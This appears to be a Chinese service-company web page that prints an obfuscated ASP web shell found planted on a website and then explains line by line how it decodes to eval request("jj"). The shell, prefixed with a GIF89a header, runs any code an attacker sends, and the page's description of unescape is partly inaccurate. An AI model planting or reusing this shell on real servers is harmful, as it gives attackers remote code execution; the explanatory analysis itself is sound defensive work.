服務(wù)熱線
153 8323 9821
網(wǎng)站被放了一段代碼:
gif89a<%
dim a,b,temp,c
a="eva@@l%20req@@uest%28%22jj%22%29"
b=replace(a,"@@","零")
c=split(b,"零")
for i=0 to ubound(c)
temp=temp+c(i)
next
execute(unescape(temp))
%>
解釋如下:
dim a,b,temp,c 定義幾個變量
a=eva@@l%20req@@uest%28%22jj%22%29 給字符a賦值
b=replace(a,"@@","零")
replace為用第三個表達式替換第一個字符串表達式中出現(xiàn)的所有第二個給定字符串表達式。
所以 b="eva零l%20req零uest%28%22jj%22%29"
c=split(b,"零") 把字符串b從零處分隔開來,并賦給變量c,
此時c為帶下標(biāo)的數(shù)組,包含了(eva l%20req uesq%28%22jj%22%29)三段字符
for i=0 to ubound(c)
temp=temp+c(i)
UBound 函數(shù)可返回指示數(shù)組維數(shù)的最大下標(biāo)。
用循環(huán)語句吧數(shù)組中的字符連接起來賦值給temp
temp="eval%20request%28%22jj%22%29"
execute(unescape(temp))
先執(zhí)行里面 unescape(temp)
unescape 對 String 對象編碼以便它們能在所有計算機上可讀,返回一個包含了 charstring 內(nèi)容的字符串值( Unicode 格式)。所有空格、標(biāo)點、重音符號以 及 其他非 ASCII 字符都用 %xx 編碼代替,其中 xx 等于表示該字符的十六進制數(shù)。例如,空格返回的是 "%20 "
從html url編碼表中得知:%20為空格 %28為左括號( %22為雙引號 %29為右括號
所有 unescape(temp)="eval request ("jj")"
execute(unescape(temp))
execute為執(zhí)行參數(shù)中指定的代碼